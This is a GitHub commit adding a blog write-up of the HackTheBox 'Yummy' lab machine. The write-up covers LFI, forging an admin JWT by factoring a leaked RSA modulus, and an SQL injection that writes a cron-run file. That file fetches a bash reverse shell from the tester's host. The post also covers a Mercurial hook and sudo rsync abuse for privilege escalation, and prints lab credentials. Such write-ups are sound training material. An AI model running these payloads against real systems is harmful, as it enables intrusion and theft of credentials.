Skip to content

Commit e42abf1

Browse files
committed
Yummy machine added
1 parent 1cd8167 commit e42abf1

6 files changed

Lines changed: 306 additions & 0 deletions

File tree

_posts/2025-02-21-htb-yummy.md

Lines changed: 306 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,306 @@
1+
---
2+
layout: single
3+
title: "HTB Yummy Writeup"
4+
seo_title: "Writeup for the HackTheBox Yummy Machine"
5+
date: 2025-02-21 12:00:00 +0200
6+
categories: ['HackTheBox', 'Linux']
7+
classes: wide
8+
toc: true
9+
header:
10+
teaser: "/assets/images/headers/Yummy.png"
11+
---
12+
The "Yummy" machine on HackTheBox is a hard Linux machine that starts off with a Local File Inclusion (LFI) vulnerability in order to read the locations of several cron job scripts. These scripts lead to a database backup script of the website's source code that leaks a secret JWT key to forge a token for the admin account on the site. The backend is vulnerable to SQL injection that gives us initial access to the machine. Further enumeration reveals the password for another user that can run a command as root to move laterally to a developer account. This account can run `rsync` as root, which allows us to write a SSH key to the root user.
13+
14+
# Reconnaissance
15+
Our initial port scan only shows the standard port 22 and 80 open.
16+
17+
```
18+
# Nmap 7.94SVN scan initiated Sun Oct 6 14:04:12 2024 as: nmap -p- -sCV -v -oN yummy.nmap 10.129.74.97
19+
Nmap scan report for 10.129.74.97
20+
Host is up (0.014s latency).
21+
Not shown: 65533 closed tcp ports (conn-refused)
22+
PORT STATE SERVICE VERSION
23+
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
24+
| ssh-hostkey:
25+
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
26+
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
27+
80/tcp open http Caddy httpd
28+
| http-methods:
29+
|_ Supported Methods: GET HEAD POST OPTIONS
30+
|_http-title: Did not follow redirect to http://yummy.htb/
31+
|_http-server-header: Caddy
32+
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
33+
```
34+
35+
The website redirects us to `yummy.htb` and also displays that the version in use is **Caddy**. We add the domain to the `/etc/hosts` file and continue to explore the webpages. After creating an account and logging in, we can book tables.
36+
37+
![](../assets/images/writeups/yummy/booking.png)
38+
39+
From our dashboard, it is possible to save our reservation to a calendar file (ics).
40+
41+
![](../assets/images/writeups/yummy/save-icalendar.png)
42+
43+
The request makes a call to the `/export/Yummy_reservation_YYYYMMDD_hhmmss` endpoint where the date is the current timestamp of the export. This endpoint is vulnerable to LFI and we can alter the request to read any file the web user has access to.
44+
45+
![](../assets/images/writeups/yummy/LFI.png)
46+
47+
From the leaked file, we can already identify several users on the machine:
48+
49+
```
50+
root:x:0:0:root:/root:/bin/bash
51+
dev:x:1000:1000:dev:/home/dev:/bin/bash
52+
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
53+
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
54+
qa:x:1001:1001::/home/qa:/bin/bash
55+
```
56+
57+
Further enumeration reveals that the contents of the crontabs file contains some scripts.
58+
59+
```bash
60+
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
61+
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
62+
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
63+
```
64+
65+
Again we can download those files via the LFI vulnerability and check their contents.
66+
67+
## App Backup
68+
The contents of the `app_backup.sh` script reveals the location of a zip file.
69+
70+
```bash
71+
#!/bin/bash
72+
73+
cd /var/www
74+
/usr/bin/rm backupapp.zip
75+
/usr/bin/zip -r backupapp.zip /opt/app
76+
```
77+
78+
The zip file is a backup of the original source code. Now we can proceed to do some code analysis and see if we can spot some additional vulnerabilities or credentials. The login method is interesting.
79+
80+
```python
81+
if user:
82+
payload = {
83+
'email': email,
84+
'role': user['role_id'],
85+
'iat': datetime.now(timezone.utc),
86+
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
87+
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
88+
}
89+
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
90+
91+
response = make_response(jsonify(access_token=access_token), 200)
92+
response.set_cookie('X-AUTH-Token', access_token)
93+
return response
94+
else:
95+
return jsonify(message="Invalid email or password"), 401
96+
```
97+
98+
It uses the `signature.py` module to encode the payload into a JWT token. The payload does contain the RSA module (n) and the encryption exponent (e). With knowledge of these values, we can decode any JWT token to find the original prime factors p and q and break the encryption.
99+
100+
Let's have a look at how we can decode our 'customer' token and modify it to become an 'administrator'.
101+
102+
```python
103+
import base64, json, jwt, sympy
104+
from Crypto.PublicKey import RSA
105+
from cryptography.hazmat.backends import default_backend
106+
from cryptography.hazmat.primitives import serialization
107+
108+
token = '<OUR_JWT_TOKEN>'
109+
110+
def add_padding(b64_str):
111+
while len(b64_str) % 4 != 0:
112+
b64_str += '='
113+
return b64_str
114+
115+
def base64url_decode(input):
116+
input = add_padding(input)
117+
input = input.replace('-', '+').replace('_', '/')
118+
return base64.b64decode(input)
119+
120+
# extract second portion of token
121+
payload = json.loads(base64url_decode(token.split(".")[1]).decode())
122+
123+
# find prime factors to get the decryption exponent (d)
124+
n = int(payload["jwk"]['n'])
125+
p,q = list(sympy.factorint(n).keys())
126+
e = 65537
127+
phi_n = (p - 1) * (q - 1)
128+
d = pow(e, -1, phi_n)
129+
130+
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
131+
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
132+
private_key_bytes = key.export_key()
133+
134+
private_key = serialization.load_pem_private_key(
135+
private_key_bytes,
136+
password=None,
137+
backend=default_backend()
138+
)
139+
140+
public_key = private_key.public_key()
141+
142+
# decode token and insert admin role
143+
data = jwt.decode(token, public_key, algorithms=["RS256"])
144+
data["role"] = "administrator"
145+
146+
# encode the new data in new token
147+
new_token = jwt.encode(data, private_key, algorithm="RS256")
148+
print(new_token)
149+
```
150+
151+
If we run the above script and insert our user JWT in the token field, we now have a JWT that has the 'administrator' role. Now let's see what we can do with this. Further along in the code of `app.py` there is an SQL Injection vulnerability in the `admindashboard` endpoint.
152+
153+
```sql
154+
# added option to order the reservations
155+
order_query = request.args.get('o', '')
156+
157+
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
158+
```
159+
160+
# Foothold
161+
Let's perform a search query on the admin dashboard and intercept the request with BurpSuite. We can confirm the SQL Injection by making the server sleep for several seconds.
162+
163+
![](../assets/images/writeups/yummy/SQLI.png)
164+
165+
Now we need to figure out what we can do with this. Remember we still have a couple of cron files we haven't looked at yet, one of which is the `dbmonitor.sh` script. After we download this file via the same method as before, some things stand out.
166+
167+
```bash
168+
<SNIP>
169+
if [ -f /data/scripts/dbstatus.json ]; then
170+
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
171+
/usr/bin/echo "The database was down at $timestamp. Sending notification."
172+
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
173+
/usr/bin/rm -f /data/scripts/dbstatus.json
174+
else
175+
/usr/bin/rm -f /data/scripts/dbstatus.json
176+
/usr/bin/echo "The automation failed in some way, attempting to fix it."
177+
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
178+
/bin/bash "$latest_version"
179+
fi
180+
else
181+
/usr/bin/echo "Response is OK."
182+
fi
183+
fi
184+
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
185+
```
186+
187+
If the file `dbstatus.json` exists and does not conain the string "database is down" then it runs a command with `/bin/bash`. Afterwards it deletes the JSON file and runs this every minute or so. The `latest_version` variable lists the contents of the scripts folder with a wildcard. First we create a reverse shell script.
188+
189+
```console
190+
$ echo "#\!/bin/bash\nbash -i >& /dev/tcp/10.10.14.102/9001 0>&1" > shell.sh
191+
$ chmod +x shell.sh
192+
$ sudo python -m http.server 80
193+
```
194+
195+
We create a small script that automates our exploit.
196+
197+
```bash
198+
ip="10.10.14.102"
199+
token="<ADMIN_JWT_TOKEN>"
200+
201+
write_file() {
202+
curl -s -H "Cookie: X-AUTH-Token=$token" "http://yummy.htb/admindashboard?s=ABC&o=ASC;select+\"$1\"+INTO+OUTFILE+'$2';"
203+
}
204+
205+
# write a file to request the reverse shell and execute it with bash
206+
write_file "curl+$ip/shell.sh+|bash" "/data/scripts/fixer-v999"
207+
208+
# write an empty file to dbstatus.json
209+
write_file "" "/data/scripts/dbstatus.json"
210+
```
211+
212+
We run the above script and after a minute we should have received a connection back to our machine.
213+
214+
# User
215+
After getting a shell as the `mysql` we still have very limited access. We can move laterally to the `www-data` user since there is also a script (`app_backup.sh`) that runs every minute by this user. Therefore we can remove the backup file and replace it with our shell script.
216+
217+
```console
218+
mysql@yummy:/var/spool/cron$ cd /data/scripts
219+
mysql@yummy:/data/scripts$ wget http://10.10.14.102/shell.sh
220+
mysql@yummy:/data/scripts$ rm app_backup.sh
221+
mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh
222+
```
223+
224+
Meanwhile, we run a netcat listener to catch another shell (it might take a few tries). Now we can enter the web folders. We can find a password for another user in the `/var/www/qa_testing/.hg/store/data/app.py.i` file.
225+
```console
226+
www-data@yummy:~$ cd /var/www/app-qatesting/.hg/store/data
227+
www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i
228+
'user': 'chef',
229+
'password': '3wDo7gSRZIwIHRxZ!',
230+
231+
'user': 'qa',
232+
'password': 'jPAd!XQCtn8Oc@2B',
233+
```
234+
235+
We can now SSH as the `qa` user.
236+
237+
```
238+
ssh qa@yummy.htb
239+
qa@yummy:~$ cat user.txt
240+
```
241+
242+
# Root
243+
## QA to Dev
244+
The qa user can run a command as the dev user.
245+
246+
```console
247+
qa@yummy:~$ sudo -l
248+
User qa may run the following commands on localhost:
249+
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
250+
```
251+
252+
Looking online this command is used by Mercurial SCM. In our home folder we have a `.hgrc` file that contains some configuration options.
253+
254+
One option of Mercurial is to create hooks that run before/after certain actions. From the [Mercurial Docs](https://repo.mercurial-scm.org/hg/help/hgrc) there is also a hook called `post-<command>` that runs after successful invocations of the associated command.
255+
256+
```console
257+
qa@yummy:~$ nano .hgrc
258+
[hooks]
259+
post-pull = /tmp/shell.sh
260+
```
261+
262+
Again we download our shell and modify the `.hgrc` file to run our shell after a pull request. Next we run a netcat listener and perform the pull request as the `dev` user.
263+
264+
```console
265+
qa@yummy:~/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
266+
abort: Permission denied: '/home/qa/.hg'
267+
```
268+
269+
When running the command, we get a permission denied so we try another way. From the same Docs, you can also specify the configuration file inside the `.hg` folder per repository. We can create this file in the `/tmp` directory and then try to run our exploit again.
270+
271+
```console
272+
qa@yummy:~/tmp$ mkdir .hg
273+
qa@yummy:~/tmp$ chmod 777 .hg
274+
qa@yummy:~/tmp$ cp ~/.hgrc .hg/hgrc
275+
qa@yummy:~/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
276+
```
277+
278+
## Dev to Root
279+
We now have a shell as the `dev` user that can run `rsync` as root. We can exploit this by copying `/bin/bash` and changing the permissions so that after running the command we can run the binary as the root user.
280+
281+
```console
282+
dev@yummy:~/app-production$ sudo -l
283+
sudo -l
284+
Matching Defaults entries for dev on localhost:
285+
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
286+
287+
User dev may run the following commands on localhost:
288+
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
289+
```
290+
291+
One quick way to read the root flag or root SSH key is using the following command:
292+
293+
```console
294+
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../root/root.txt --chmod=777 /opt/app/ && cat /opt/app/root.txt
295+
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../root/.ssh/id_rsa --chmod=777 /opt/app/ && cat /opt/app/id_rsa
296+
```
297+
298+
The key element is the `--chmod` flag of the rsync binary. This addtional parameters changes the ownership of the copied file. Since we are the `dev` user, all files will be copied under our permissions, so this option lets us change the permission of file we copied from the root directory. Now we can copy the SSH key and login as the root user.
299+
300+
```console
301+
$ chmod 600 id_rsa
302+
$ shh -i id_rsa root@yummy.htb
303+
root@yummy:~# id
304+
uid=0(root) gid=0(root) groups=0(root)
305+
root@yummy:~# cat root.txt
306+
```

assets/images/headers/Yummy.png

380 KB
Loading
70.3 KB
Loading
68.9 KB
Loading
69 KB
Loading
150 KB
Loading

0 commit comments

Comments
 (0)